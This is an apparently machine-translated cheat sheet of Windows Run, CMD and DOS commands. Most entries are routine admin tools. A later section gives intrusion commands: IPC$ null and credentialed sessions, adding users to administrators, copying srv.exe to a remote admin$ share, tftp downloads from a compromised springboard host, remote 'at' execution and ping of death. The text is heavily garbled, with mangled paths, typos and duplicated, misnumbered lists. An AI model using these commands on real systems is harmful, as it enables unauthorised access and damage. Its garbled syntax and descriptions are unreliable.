CMD command: Start -> Run -> type cmd or command (in the command line you can see the system version, file system version)
chcp modify the default character set
chcp 936 default Chinese
chcp 65001
1. appwiz.cpl: Programs and Features
2. calc: start calculator
5. chkdsk.exe: Chkdsk disk check (Run as Administrator command prompt)
6. cleanmgr: Open Disk Cleanup tool
9. cmd.exe: CMD command prompt
10. Automatic shutdown command
Shutdown -s -t 600: 600 seconds after the automatic shutdown
shutdown -a: cancel time off
Shutdown -r -t 600 represents restart automatically after 600 seconds:
12. CompMgmtLauncher: Computers
13. compmgmt.msc: Computers
14. credwiz: backup or restore saved user name and password
16. control: Control Panel
17. dcomcnfg: Open the System Component Services
19. devmgmt.msc: Device Manager
20. desk.cpl: Screen Resolution
21. dfrgui: Optimize your drive Windows 7 → dfrg.msc: Disk Defragmenter
22. dialer: phone Dialer
23. diskmgmt.msc: disk management
24. dvdplay: DVD player
25. dxdiag: DirectX checking information
26. eudcedit: Characters and procedures
27. eventvwr: event Viewer
28. explorer: open Windows Explorer is
29. Firewall.cpl: Windows firewall
31. fsmgmt.msc: Shared Folders manager
32. gpedit.msc: Group Policy
33. hdwwiz.cpl: Device Manager
34. inetcpl.cpl: Internet properties
35. intl.cpl: Regional
36. iexpress: Trojans bundled tools The system comes with
37. joy.cpl: game controller
38. logoff: logout command
39. lusrmgr.msc: local users and groups
40. lpksetup: language pack installation / removal wizard, the installation wizard will prompt to download the language pack
41. lusrmgr .msc: native users and groups
42. main.cpl: mouse properties
43. mmsys.cpl: sound
45. mem.exe: display memory usage (if run directly invalid, you can run the command prompt as an administrator, in the command prompt, enter mem.exe> d:. a.txt to open the disc d View a.txt, which is of course what the memory usage of the disk can decide what file name).
47. mmc: Open the console
48. mobsync: synchronization commands
50. Msconfig.exe: System Configuration Utility
51. msdt: Microsoft Support Diagnostic Tool
52. msinfo32: System Information
53. mspaint: Paint
54. Msra: Windows Remote Assistance
55 . mstsc: remote Desktop connection
56. NAPCLCFG.MSC: client configuration
57. ncpa.cpl: network connection
58. narrator: screen "Narrator"
59. the netplwiz: advanced user accounts control panel, set the login security-related options
60. netstat: an (TC) command check the interface
61. notepad: open Notepad
62. Nslookup: IP address detector
63. odbcad32: ODBC data source Administrator
64. OptionalFeatures: Open the "Turn Windows Features" dialog box
65. osk: open the onscreen keyboard
66. perfmon.msc: computer performance monitor
67. perfmon: computer performance monitor
68. PowerShell: provide a powerful remote processing capability
69. printmanagement.msc: Print Management
70. powercfg.cpl: Power Options
71. psr: problem steps recorder
72. Rasphone: network connection
73. Recdisc: create a system repair disc
74. resmon: resource monitor
75. rstrui: system restore
76. regedit.exe: registry
77. regedt32: registry editor is
78. rsop.msc: group Resultant set of policy
79. sdclt: backup status and configuration, is to see whether the system has been backed
80. secpol.msc: local security policy
81. services.msc: local service settings
82. sfc / scannow: scanning error and recovery / windows file protection
83. sfc.exe: system file checker
84. shrpubw: create a shared folder
85. sigverif: file signature verification procedures
86. slui: Windows activation, view system activation information
87. slmgr.vbs -dlv: display detailed license information
slmgr.vbs -dli: display license information
slmgr.vbs -xpr: current license expiration date
slmgr.vbs -dti: installation ID is displayed for offline excited
slmgr.vbs -ipk: (Product Key) to install the product key
slmgr.vbs -ato: activate Windows
slmgr.vbs -cpky: Clear product key from the registry (prevents leakage caused by the attack)
slmgr.vbs -ilc: (license File) installation license
slmgr.vbs -upk: uninstall product key
slmgr.vbs -skms: (name [ ort]) Volume Licensing
88. snippingtool: screenshot tool, supports random shots
89. soundrecorder: tape recorders, no recording time limit of
90. StikyNot: Notes
91. sysdm.cpl: system properties
92. sysedit: system configuration editor
93. syskey: system encryption, encryption can not be solved soon, dual password protection system
94. taskmgr: task Manager (legacy)
95. the TM task Manager (new version)
96. the taskschd.msc: task Scheduler
97. timedate.cpl : the date and time
98. UserAccountControlSettings user account control settings
99. utilman: Utility Manager
100. wf.msc: Windows Firewall with Advanced Security
101. WFS: Windows Fax and Scan
102. wiaacmgr: Scanner and Camera Wizard
103. winver: About Windows
104. The wmimgmt.msc: Open windows management architecture (WMI)
105. The the Write : WordPad
106. wscui.cpl: operations Center
107. wscript: windows script host settings
108. wuapp: Windows update
1. gpedit.msc ----- Group Policy
2. sndrec32 ------- recorder
3. Nslookup ------- IP address detector, whether the command is a monitoring network DNS server can correctly implemented DNS-line tool. It can be used in Windows NT / 2000 / XP, but not in Windows 98, but not this one integrated tool.
4. explorer ------- Open Explorer
5. logoff --------- cancellation command
6. shutdown ------- 60 second countdown shutdown command
7. lusrmgr.msc ---- local user and group
8. services.msc --- Local service set
9. oobe / msoobe / a ---- check whether to activate XP
10. notepad -------- Open Notepad
11. cleanmgr ------- garbage sorting
12. net start messenger ---- start Messenger Service
13. compmgmt.msc --- Computer Management
14. net stop messenger ----- Stop Messenger Service
15. conf ----------- start netmeeting
16. dvdplay -------- DVD player
17. charmap -------- start Character Map
18. diskmgmt.msc --- disk management utility
19. calc ----------- start Calculator
20. dfrg.msc ------- Disk Defragmenter
21. chkdsk.exe ----- Chkdsk disk check
22. devmgmt.msc --- Device Manager
23. regsvr32 / u * .dll ---- stop the dll file to run
24. drwtsn32 ------ System Doctor
25. rononce -p ---- 15 seconds off
26. dxdiag --------- check DirectX information
27. regedt32 ------- Registry Editor
28. Msconfig.exe --- System Configuration Utility
29. rsop.msc ------- Group Resultant Set of Policy
30. mem.exe -------- display memory usage
31. regedit.exe ---- registry
32. winchat -------- XP comes with LAN chat
33. progman -------- Program Manager
34. winmsd --------- System Information
35. perfmon.msc ---- computer performance monitoring procedures
36. winver --------- check the Windows version
37. sfc / scannow ----- scanning error and recovery
38. taskmgr ----- Task Manager (2000 / xp / 2003
39. winver --------- check the Windows version
40. wmimgmt.msc ---- open windows management architecture (WMI)
41. wupdmgr -------- windows update
42. wscript -------- windows script host settings
43. write ---------- WordPad
44. winmsd --------- System Information
45. wiaacmgr ------- Scanner and Camera Wizard
46. winchat -------- XP comes with LAN chat
47. mem.exe -------- display memory usage
48. Msconfig.exe --- System Configuration Utility
49. mplayer2 ------- simple widnows media player
50. mspaint -------- drawing board
51. mstsc ---------- Remote Desktop Connection
52. mplayer2 ------- media player
53. magnify -------- Magnifier utility
54. mmc ------------ open the console
55. mobsync -------- synchronization command
56. dxdiag --------- check DirectX information
57. iexpress ------- Trojans bundled tools, the system comes with 58. fsmgmt.msc ----- Shared Folder Manager
59. utilman -------- Utility Manager
60. diskmgmt.msc --- disk management utility
61. dcomcnfg ------- Open the System Component Services
62. ddeshare ------- open DDE sharing settings
110. osk ------------ open the on-screen keyboard
111. odbcad32 ------- ODBC Data Source Administrator
112. oobe / msoobe / a ---- check whether to activate XP 114. logoff --------- cancellation command
66. notepad -------- Open Notepad
67. nslookup ------- network management tools guide
68. ntbackup ------- system backup and restore
69. narrator ------- Screen "Narrator"
70. ntmsmgr.msc ---- Removable Storage Manager
71. ntmsoprq.msc --- mobile storage administrator operation request
72. netstat -an ---- (TC) command checks Interface
73. syncapp -------- create a Briefcase
74. sysedit -------- System Configuration Editor
75. sigverif ------- File Signature Verification Program
76. ciadv.msc ------ Indexing Service program
77. shrpubw -------- create a shared folder
78. secpol.msc ----- Local Security Policy
79. syskey --------- encryption system, once the encryption can not be solved, the dual system of protection of windows xp password
80. services.msc --- Local service set
81. Sndvol32 ------- Volume Control program
82. sfc.exe -------- System File Checker
83. sfc / scannow --- windows file protection
84. ciadv.msc ------ Indexing Service program
85. tourstart ------ xp Profile (roaming xp program after installation is complete)
86. taskmgr -------- Task Manager
87. eventvwr ------- Event Viewer
88. eudcedit ------- Private Character Editor
89. compmgmt.msc --- Computer Management
90. packager ------- Object Packager
91. perfmon.msc ---- computer performance monitoring procedures
92. charmap -------- start Character Map
93. cliconfg ------- SQL SERVER Client Network Utility
94. Clipbrd -------- Clipboard Viewer
95. conf ----------- start netmeeting
96. certmgr.msc ---- certificate management utility
97. regsvr32 / u * .dll ---- stop the dll file to run
98. regsvr32 / u zipfldr.dll ------ canceled ZIP support
99. cmd.exe -------- CMD command prompt
100. chkdsk.exe ----- Chkdsk Check Disk
1 Disk operation,
fdisk implicit parameter / mbr rebuild the master boot record fdisk / mbr rebuild the master boot record
fdisk increased after DOS7.0 / cmbr parameters, can be linked when connected to a plurality of physical disk rebuild the back ordering main hard disk boot record, for example: fdisk / cmbr 2, can guide the second master rewritable recording disk. (Be careful, in use, to avoid damage to the good drive boot record)
the format parameters: / q quick format / u unrecoverable / autotest not prompt / s to create MS-DOS boot disk format c: / q / u / autotest
2. directory operations
the DIR [directory name or file name] [/ S] [/ W ] [/ P] [/ A] parameters in directory: / s Find subdirectory / w display only the file name / p tab / a display hidden files DIR format.exe / s format.exe find the disk file and report the location
MD (MKDIR) [directory name] to create the directory MKDIR HELLOWORLD create HELLOWORLD directory
CD (CHDIR) [directory name] PS: You can use absolute or relative directory directory into the directory CD AA AA into the directory of the current folder, cd .. go to the previous folder cd \ return to the root directory; cd c: \ windows into the c: \ windows folder
RD (RMDIR) [directory name] to delete the directory RD HELLOWORLD delete HELLOWORLD directory
3. file operations
Delete the directory and its files: rmdir [directory name or file name] [/ S] [/ W ] [/ P] [/ A]. Example rmdir c: \ qqdownload / s qqdownload delete directory C drive.
del [directory name or file name] [/ f] [/ s ] [/ q] remove parameters: / f delete read-only file / s delete the directory and all its content is not confirmed before / q remove
del c: \ del / s / q automatic deletion del c disc directory.
Copy [source file or directory] [destination directory] Copy the file copy d:. \ pwin98 \ * * c: \ presetup Copy all files PWIN98 d of the disc to the lower disc presetup c.
Attrib [parameters] [source file or directory] operation command file attributes, Attrib command lists the properties or modify files on the disk, the file attribute comprises a document (A), a read-only (R), hide (H), the system (S ), for example: after attrib -h -r -s io.sys execute this command, DOS will be read-only file system io.sys files, hidden, system attributes removed, then you will be able to see directly through the dir command io .sys file. attrib + h + r + s autoexec.bat batch file will automatically increase by more than property.
4. Memory operation
the debug memory parameter -w [filename] writing binary file -o [Address 1] [Address 2] Output memory -q exit exp: 70 10 O [return] O 71 is 01
[return] 01 [return ] q [return] written by the DOS 70h / 71h PORT changing the position corresponding to the value stored in the CMOS BIOS password, a password for removing .debug AWARD BIOS may also break the hard disk protection card, but only be used in pure DOS .
5. Partitioning
Partition the disk, usually divided into four zones, from the primary partition disk partitions, extended partitions, the logical partitions.
PQ and Acronis Disk Director Both tools are available for partition resizing, as well as merger and other operations, XP system without loss of data if you use PQ, WIN7 system, then use Acronis Disk Director operate essentially the same, you can go online find tutorials to see, do not reinstall the system case can resize partitions, but I suggest you back up your data under readjustment, operating directly on the hard disk after all, there is a certain risk.
net use ipipc $ "" / user: "" establishment of air links IPC
net use ipipc $ "password" / user: "User Name" to establish a non-null IPC link
net use h: ipc $ "password" / user: "User Name" after landing directly mapped each other C: is the local H:
net use h: ipc $ landing after the other mapping C: is the local H:
net use ipipc $ / del Delete IPC link
net use h: / del Delete mapped to each other to a local H: Mapping
net user username password / add to create a user
net user guest / active: yes activate guest user
net user to view which users
net user account name to view the properties of the account
net localgroup administrators username / add "customer" to the Administrator to have administrator privileges
net start to see what services are turned on
net start service name to open service; (such as: net start telnet, net start schedule)
net stop to stop a service name service
net time target ip view each other's time
net time target ip / set set the local computer time synchronization and time "Destination IP" host, plus parameters / yes cancel confirmation
Within a local area network open net view view shared what
Net view ip view each other within the LAN opens up which shared
Display system network settings net config
to disconnect the shared net logoff
net pause to pause the service name of a service
net send ip "text message" send messages to each other
Information in the network connection type and are using the LAN net ver
Check local open net share share
open net share ipc $ ipc $ share
net share ipc $ / del delete ipc $ share
net share c $ / del delete C: Sharing
net user guest 12345 with guest user login with the password to 12345
net password password change the system login password
netstat -a to see which ports are open, commonly used netstat -an
netstat -n view port network connection, commonly used netstat -an
netstat -v view the work in progress
netstat -p protocol name Example: netstat -p tcq / ip view of a usage agreement
netstat -s View is using all protocols usage
nbtstat -A ip 136-139 each other one of the ports open, then you can view the user name they've recently landed
tracert - IP parameters (or computer name) traceroute (packet) parameters: "- w number" is used to set the timeout interval.
ping ip (or domain name) to the other host to send default size is 32 bytes of data, parameters: "- l [space] packet size"; "- n number of data transmission"; "- t" refers been ping.
ping -t -l 65550 ping ip death (to send files larger than 64K and has become the ping ping of death)
ipconfig (winipcfg) for windows NT and XP (windows 95 98) to view the local ip address, ipconfig available parameters "/ all" show all configuration information
tlist -t tree line list display process (as an additional tool system, the default is not installed, the Support / tools folder file installation directory)
After the process name plus kill -F -F parameter to force the end of a process (as an additional tool system, the default is not installed, the Support / tools folder file installation directory)
del -F file name plus -F parameter can be deleted after a read-only file, / AR, / AH, / AS, / AA respectively delete read-only, hidden, system, archive files, / AR, / AH, / AS, / AA means to delete in addition to the read-only, hidden, system, archive files outside. For example, "DEL / AR *. *" Means to delete all read-only files in the current directory, "DEL / AS *. *" Means to delete all the files in the current directory other than system files
del / S / Q or directory with: rmdir / s / Q directory / S delete the directory and all subdirectories and files in the directory. At the same time using the parameter / Q cancel the delete operation of the system directly confirm the deletion. (The same two command role)
File name and path of the file stored moving path to move the letter to move the moving file move the file name, parameter / y will be prompted to confirm the presence of the same file cancel mobile directory directly covered
fc one.txt two.txt> 3st.txt compare two files, and outputs the difference to 3st.txt file, ">" and ">>" redirect command
at id number registered to open a scheduled task
at / delete stop all scheduled tasks, with the parameter / yes you do not need to confirm directly stop
No. at id / delete a registered stop scheduled tasks
See all the scheduled tasks at
at ip time program name (or a command) / r to run a program at some other time and restart your computer
finger username @host which users log in to view the last
telnet ip port far and landed server, the default port is 23
open ip connection to IP (telnet case of an order after landing)
telnet type directly on the machine telnet telnet will enter the machine
copy the file path name file path name 1 2 / y copy files to a specified directory for the file 1 2, parameter / y to simultaneously cancel sure you want to overwrite an existing file directory
copy c: srv.exe ipadmin $ Copy Local c: srv.exe to each other's admin
copy 1st.jpg / b + content 2st.txt / a 3st.jpg hiding the 2st.txt to generate 3st.jpg 1st.jpg new file Note: 2st.txt header to empty three rows parameters: / b means binary, / a format means ASCLL
copy ipadmin $ svv.exe c: or:. copyipadmin $ * * copying other admini under $ srv.exe shared files (all files) to the local C:
xcopy to copy a file or directory tree destination address directory name to copy files and directory trees, with parameters / Y will not be prompted to overwrite the same file
Replication with a subfolder of parameters / e directory connected together before the target address.
tftp -i own IP (IP when this meat machine meat machine as a springboard) get server.exec: server.exe after landing, the "IP" server.exe is downloaded to the target host c: server.exe parameters: -i refers to the transfer binary mode, such as when exe file transfer, such as places without -i ASCII mode (text file transfer mode) transmission
tftp -i other IP put c: server.exe after landing, upload local c: server.exe to host
ftp ip port for uploading files to a server or file operations, the default port is 21. It refers to transfer binary bin (executable file into); (a text file) format ASCII is transmitted default
route print shows IP routing, network address of the main display Network addres, subnet mask Netmask, Gateway address Gateway addres, Interface address Interface
arp view and manipulate the ARP cache, ARP name resolution is the meaning of IP responsible for a MAC address resolves to a physical nature. arp -a will show all the information
program name or command start / max or / min to open a new window and maximize (minimize) running a program or command
View mem cpu usage
attrib file name (directory name) to view a file (directory) properties
attrib filename or -A -R -S -H + A + R + S + H remove the (added) archive of a file, read-only, system, hidden attribute; + is used to add a property
dir view the file, parameters: / Q to display files and directories to which the user belongs systems, / T: C display the file creation time, / T: A display file was last accessed time, / T: W last modified time
date / t, time / t use this parameter "DATE / T", "TIME / T" will only display the current date and time, instead of entering a new date and time
set the environment variable name = specified to be assigned to the variable character set environment variables
set displays all current environment variables
set p (or other characters) displays all characters in the current environment variables p (or other characters) at the beginning of
pause pause batch program, and shows: Press any key to continue ....
if the execution condition processing in batch programs (for more explanation see if commands and variables)
goto label cmd.exe batch program directed to the row with the label (a label on a line, and beginning with a colon, for example: ": start" tab)
call path to the batch file name calling another batch program from a batch program (see further instructions call /?)
for the implementation of a specific command to a set of files for each file (see instructions for more commands and variables)
echo on or off opens or closes echo, echo only parameters without setting the current echo is displayed
echo information shows the information on the screen
echo information >> pass.txt the "information" to save the file pass.txt
findstr "Hello" aa.txt find the string hello in aa.txt file
find the file name to find a file
title title name change CMD window title name
color value of the color cmd console foreground and background color; 0 = black, 1 = Blue, 2 = green, 3 = light green, 4 = red, purple = 5, 6 = Yellow, 7 = White, gray = 8, 9 = light blue, A = light green, B = light green light, C = pink, D = purple, E = yellow, F = white
Change the name of the command prompt cmd.exe prompt is displayed (the C:, D: Uniform changed: EntSky)
ver Displays version information in the DOS window
winver a pop-up window displays the version information (memory size, system version, patch version, computer name)
letter format / FS: format the disk type, type: FAT, FAT32, NTFS, Example: Format D: / FS: NTFS
md directory name to create a directory
replace the source files replace the files you want to replace the directory file
ren original file name new file name to rename the file name
tree directory is displayed in a tree structure, with the -f argument lists of file names in a folder
type the file name displays the contents of a text file
more filename Displays output one screen file
doskey character to be locked command =
doskey To unlock command DOS = to provide a lock command (Edit command line, recall win2k command, and creates macros). Such as: Lock dir command: doskey dir = entsky (not used doskey dir = dir); unlock: doskey dir =
taskmgr bring up the Task Manager
chkdsk / FD: D check the disk and displays a status report; plus parameters / f and fix errors on the disk
tlntadmn telnt service admn, select the type tlntadmn 3, then select 8, you can change the default telnet service port to any other port 23
exit to exit the program or are currently cmd.exe, parameter / B is to exit the current batch script instead of cmd.exe
File path path to the executable file is an executable file called a set path.
win2K cmd to start a command interpreter window. Parameters: / eff, / en Off, On command extensions; more detail I see cmd /?
regedit / s registry file name into the registry; Parameter / S means introducing silent mode, no such messages;
regedit / e Registry Export Registry File Name
cacls filename parameter to display or modify file access control list (ACL) - the time for the NTFS format. Parameters: / D Username: deny a user access settings; / P Username: Replace specified user's access rights perm; / G Username: perm imparting specified user access rights; Perm can be: N None, R read, W write, C change (write), F full control; Example: cacls D: est.txt / D pub setting d: est.txt user access denied pub.
Access user cacls file name to view file permissions list
REM add text annotations in a batch file
netsh view or change the local network configuration